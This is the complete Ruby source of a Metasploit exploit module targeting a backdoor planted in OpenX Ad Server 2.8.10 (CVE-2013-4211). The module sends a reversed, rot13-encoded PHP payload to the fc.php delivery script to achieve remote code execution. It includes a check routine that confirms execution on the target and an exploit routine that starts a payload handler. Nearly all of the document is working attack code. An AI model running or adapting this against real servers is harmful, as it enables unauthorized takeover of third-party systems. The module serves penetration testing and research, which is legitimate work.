OpenX Backdoor PHP Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'OpenX Backdoor PHP Code Execution',
        'Description' => %q{
          OpenX Ad Server version 2.8.10 was shipped with an obfuscated
          backdoor since at least November 2012 through August 2013.
          Exploitation is simple, requiring only a single request with a
          rot13'd and reversed payload.
        },
        'Author' => [
          'egypt', # Metasploit module, shouts to bperry for hooking me up with the vuln software
          'Unknown', # Someone planted this backdoor...
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2013-4211' ],
          [ 'OSVDB', '96073' ],
          [ 'URL', 'http://www.heise.de/security/meldung/Achtung-Anzeigen-Server-OpenX-enthaelt-eine-Hintertuer-1929769.html'],
          [ 'URL', 'http://forum.openx.org/index.php?showtopic=503521628'],
        ],
        'Privileged' => false,
        'Payload' => {
          'DisableNops' => true,
          # Arbitrary big number. The payload gets sent as POST data, so
          # really it's unlimited
          'Space' => 262144, # 256k
        },
        'DisclosureDate' => '2013-08-07',
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Targets' => [[ 'Generic (PHP payload)', {}]],
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, "The URI to request", "/openx/"]),
    ])
  end

  def check
    token = rand_text_alpha(20)
    response = execute_php("echo '#{token} '.phpversion();die();")

    if response.nil?
      return CheckCode::Unknown('No response received from the target')
    elsif response.body =~ /#{token} ((:?\d\.?)+)/
      vprint_status("PHP Version #{$1}")
      return CheckCode::Vulnerable('Successfully verified code execution on the target')
    end
    return CheckCode::Safe('The target version is not vulnerable')
  end

  def exploit
    execute_php(payload.encoded)

    handler
  end

  def execute_php(php_code)
    money = rot13(php_code.reverse)
    begin
      response = send_request_cgi({
        'method' => "POST",
        'global' => true,
        'uri' => normalize_uri(target_uri.path, "www", "delivery", "fc.php"),
        'vars_get' => {
          'file_to_serve' => "flowplayer/3.1.1/flowplayer-3.1.1.min.js",
          'script' => 'deliveryLog:vastServeVideoPlayer:player'
        },
        'vars_post' => {
          'vastPlayer' => money
        },
      }, 0.1)
    rescue ::Rex::ConnectionError => e
      fail_with(Failure::Unreachable, e.message)
    rescue ::OpenSSL::SSL::SSLError
      fail_with(Failure::BadConfig, "The target failed to negotiate SSL, is this really an SSL service?")
    end

    response
  end

  def rot13(str)
    str.tr! "A-Za-z", "N-ZA-Mn-za-m"
  end
end